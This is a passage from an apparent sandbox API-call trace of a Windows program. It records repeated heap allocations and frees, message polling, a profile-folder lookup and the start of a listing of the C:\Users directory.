hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081888 | out: hHeap=0x640000) returned 1 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.150] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.153] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.156] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.157] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.157] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.157] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.157] PathFindFileNameW (pszPath="") returned="" [0266.157] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.158] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.158] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.158] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.158] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.158] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.158] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081888 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30818d0 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081888 | out: hHeap=0x640000) returned 1 [0266.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.158] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.159] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab878 [0266.159] HeapFree (in: hHeap=0x640000, 